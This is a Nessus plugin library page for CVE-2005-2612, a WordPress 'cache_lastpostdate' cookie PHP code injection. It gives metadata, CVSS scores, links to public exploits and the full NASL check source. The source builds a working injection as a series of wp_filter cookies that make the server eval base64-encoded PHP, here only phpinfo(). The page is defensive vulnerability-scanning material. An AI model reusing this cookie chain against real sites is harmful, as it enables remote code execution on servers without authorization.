WordPress Cookie 'cache_lastpostdate' Parameter PHP Code Injection - Nessus

Medium   Plugin ID: 19414

This page contains detailed information about the WordPress Cookie 'cache_lastpostdate' Parameter PHP Code Injection Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 19414
Name: WordPress Cookie 'cache_lastpostdate' Parameter PHP Code Injection
Filename: wordpress_cache_lastpostdate_code_injection.nasl
Vulnerability Published: 2005-08-09
This Plugin Published: 2005-08-11
Last Modification Time: 2021-01-19
Plugin Version: 1.20
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: wordpress_detect.nasl
Required KB Items [?]: installed_sw/WordPress, www/PHP

Vulnerability Information


Severity: Medium
Vulnerability Published: 2005-08-09
Patch Published: N/A
CVE [?]: CVE-2005-2612
CPE [?]: cpe:/a:wordpress:wordpress

Synopsis

The remote web server contains a PHP script that is affected by a PHP code injection vulnerability.

Description

The installed version of WordPress on the remote host will accept and execute arbitrary PHP code passed to the 'cache_lastpostdate' parameter via cookies if PHP's 'register_globals' setting is enabled.

Solution

Disable PHP's 'register_globals' setting.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the WordPress Cookie 'cache_lastpostdate' Parameter PHP Code Injection vulnerability:

  1. Metasploit: exploit/unix/webapp/wp_lastpost_exec
    [WordPress cache_lastpostdate Arbitrary Code Execution]
  2. Exploit-DB: exploits/php/webapps/16895.rb
    [EDB-16895: WordPress Core 1.5.1.3 - 'cache_lastpostdate' Arbitrary Code Execution (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:M/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:6.8 (Medium)
Impact Subscore:6.4
Exploitability Subscore:8.6
CVSS Temporal Score:5.6 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:5.6 (Medium)

Go back to menu.

Plugin Source


This is the wordpress_cache_lastpostdate_code_injection.nasl nessus plugin source code. This script is Copyright (C) 2005-2021 Tenable Network Security, Inc.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(19414);
  script_version("1.20");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2005-2612");
  script_bugtraq_id(14533);

  script_name(english:"WordPress Cookie 'cache_lastpostdate' Parameter PHP Code Injection");
  script_summary(english:"Checks for cache_lastpostdate parameter PHP code injection vulnerability in WordPress.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a PHP
code injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The installed version of WordPress on the remote host will accept and
execute arbitrary PHP code passed to the 'cache_lastpostdate'
parameter via cookies if PHP's 'register_globals' setting is enabled.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2005/Aug/232");
  script_set_attribute(attribute:"solution", value:"Disable PHP's 'register_globals' setting.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"metasploit_name", value:'WordPress cache_lastpostdate Arbitrary Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2005/08/09");
  script_set_attribute(attribute:"plugin_publication_date", value:"2005/08/11");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:wordpress:wordpress");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2005-2021 Tenable Network Security, Inc.");

  script_dependencies("wordpress_detect.nasl");
  script_require_keys("installed_sw/WordPress", "www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");

app = "WordPress";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(port:port, qs:dir);

# Construct an exploit per PoC.
#
# nb: hardcoding the final value of 'cnv' would save time but not
#     be as understandable.
cmd = "phpinfo();";
code = base64(str:cmd);
for (i=0; i<strlen(code); i++) {
  cnv += string("chr(", ord(code[i]), ").");
}
cnv += string("chr(32)");
str = base64(str:"args[0]=eval(base64_decode(" + cnv + ")).die()&"+"args[1]=x");

set_http_cookie(name: "wp_filter[query_vars][0][0][function]", value: "get_lastpostdate");
set_http_cookie(name: "wp_filter[query_vars][0][0][accepted_args]", value: "0");
set_http_cookie(name: "wp_filter[query_vars][0][1][function]", value: "base64_decode");
set_http_cookie(name: "wp_filter[query_vars][0][1][accepted_args]", value: "1");
set_http_cookie(name: "cache_lastpostmodified[server]", value: "//e");
set_http_cookie(name: "cache_lastpostdate[server]", value: str);
set_http_cookie(name: "wp_filter[query_vars][1][0][function]", value: "parse_str");
set_http_cookie(name: "wp_filter[query_vars][1][0][accepted_args]", value: "1");
set_http_cookie(name: "wp_filter[query_vars][2][0][function]", value: "get_lastpostmodified");
set_http_cookie(name: "wp_filter[query_vars][2][0][accepted_args]", value: "0");
set_http_cookie(name: "wp_filter[query_vars][3][0][function]", value: "preg_replace");
set_http_cookie(name: "wp_filter[query_vars][3][0][accepted_args]", value: "3");

# Try to exploit one of the flaws to run phpinfo().
r = http_send_recv3(method:"GET", item:dir + "/", port:port, exit_on_fail:TRUE);

# There's a problem if it looks like the output of phpinfo().
if ("PHP Version" >< r[2] && "phpinfo()" >< r[2])
{
  security_warning(port);
  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/wordpress_cache_lastpostdate_code_injection.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\wordpress_cache_lastpostdate_code_injection.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/wordpress_cache_lastpostdate_code_injection.nasl

Go back to menu.

How to Run


Here is how to run the WordPress Cookie 'cache_lastpostdate' Parameter PHP Code Injection as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select WordPress Cookie 'cache_lastpostdate' Parameter PHP Code Injection plugin ID 19414.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl wordpress_cache_lastpostdate_code_injection.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a wordpress_cache_lastpostdate_code_injection.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - wordpress_cache_lastpostdate_code_injection.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state wordpress_cache_lastpostdate_code_injection.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 125596 - WordPress < 5.0.4 Directory Traversal Vulnerability
  • 125597 - WordPress < 4.9.9 Remote Code Execution Vulnerabilities
  • 128554 - WordPress <= 3.6.1 / 3.7.x < 3.7.30 / 3.8.x < 3.8.30 / 3.9.x < 3.9.28 / 4.0.x < 4.0.27 / 4.1.x < 4.1.27 / 4.2.x < 4.2.24 / 4.3.x < 4.3.20 / 4.4.x < 4.4.19 / 4.5.x < 4.5.18 / 4.6.x < 4.6.15 / 4.7.x < 4.7.14 / 4.8.x < 4.8.10 / 4.9.x < 4.9.11 / 5.0.x < 5.0.6 / 5.1.x < 5.1.2 / 5.2.x < 5.2.3 Multiple Vulnerabilities
  • 129849 - WordPress < 5.2.4 Multiple Vulnerabilities
  • 133846 - WordPress Plugin 'Duplicator' < 1.3.28 Unauthenticated Arbitrary File Download
  • 136191 - WordPress Plugin 'LearnPress' < 3.2.6.8 Multiple Vulnerabilities
  • 137627 - WordPress < 5.4.2
  • 139872 - WordPress Plugin 'SRS Simple Hits Counter' Information Disclosure
  • 140193 - WordPress Plugin 'Duplicator' Directory Traversal (CVE-2020-11738)
  • 140211 - WordPress Plugin 'File Manager' 6.x < 6.9 Remote Code Execution
  • 142420 - WordPress < 5.5.2 Multiple Vulnerabilities
  • 148844 - WordPress 5.7 < 5.7.1 / 5.6 < 5.6.3 / 5.5 < 5.5.4 / 5.4 < 5.4.5 / 5.3 < 5.3.7 / 5.2 < 5.2.10 / 5.1 < 5.1.9 / 5.0 < 5.0.12 / 4.9 < 4.9.17 / 4.8 < 4.8.16 / 4.7 < 4.7.20
  • 151025 - WordPress Plugin 'SRS Simple Hits Counter' Information Disclosure (direct check)
  • 153173 - WordPress 5.8 < 5.8.1 / 5.7 < 5.7.3 / 5.6 < 5.6.5 / 5.5 < 5.5.6 / 5.4 < 5.4.7 / 5.2 < 5.2.12
  • 156546 - WordPress 5.8 < 5.8.3 / 5.7 < 5.7.5 / 5.6 < 5.6.7 / 5.5 < 5.5.8 / 5.4 < 5.4.9 / 5.3 < 5.3.11 / 5.2 < 5.2.14 / 5.1 < 5.1.12 / 5.0 < 5.0.15 / 4.9 < 4.9.19 / 4.8 < 4.8.18 / 4.7 < 4.7.22 / 4.6 < 4.6.22 / 4.5 < 4.5.25 / 4.4 < 4.4.26 / 4.3 < 4.3.27 / 4.2 < 4.2.31 / 4.1 < 4.1.34 / 4.0 < 4.0.34 / 3.9 < 3.9.35 / 3.8 < 3.8.37 / 3.7 < 3.7.37
  • 159570 - WordPress Plugin 'Social Warfare' < 3.5.3 XSS
  • 18601 - WordPress < 1.5.1.3 XMLRPC SQL Injection
  • 24014 - WordPress Trackback 'wp-trackback.php' 'tb_id' Parameter SQL Injection
  • 25291 - WordPress check_ajax_referer() Function SQL Injection
  • 30109 - WordPress fGallery 'fim_rss.php' 'album' Parameter SQL Injection
  • 30129 - WordPress AdServe 'adclick.php' 'id' Parameter SQL Injection
  • 35370 - WP-Forum Plugin for WordPress 'forum_feed.php' 'thread' Parameter SQL Injection
  • 40577 - WordPress < 2.8.4 Password Reset
  • 40578 - WordPress < 2.8.4 'wp-login.php' 'key' Parameter Remote Administrator Password Reset (uncredentialed check)
  • 47681 - Simple:Press Plugin for WordPress 'value' parameter SQL Injection
  • 51586 - Mingle Forum Plugin for WordPress 'topic' parameter SQL Injection
  • 51860 - WordPress < 3.0.2 Multiple Vulnerabilities
  • 59048 - WordPress < 3.3.2 Multiple Vulnerabilities
  • 62008 - Cloudsafe365 Plugin for WordPress 'file' Parameter Traversal Arbitrary File Access
  • 62205 - Mac Photo Gallery for WordPress 'albid' Parameter Traversal Arbitrary File Access
  • 62414 - WordPress A Page Flip Book Plugin for WordPress 'pageflipbook_language' Parameter Arbitrary Code Execution
  • 63326 - Advanced Custom Fields Plugin for WordPress 'acf_abspath' Parameter Remote File Inclusion
  • 63687 - Google Doc Embedder Plugin for WordPress 'File' Parameter Traversal Arbitrary File Disclosure
  • 64245 - Portable phpMyAdmin Plugin for WordPress 'wp-pma-mod' Authentication Bypass

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file wordpress_cache_lastpostdate_code_injection.nasl version 1.20. For more plugins, visit the Nessus Plugin Library.

Go back to menu.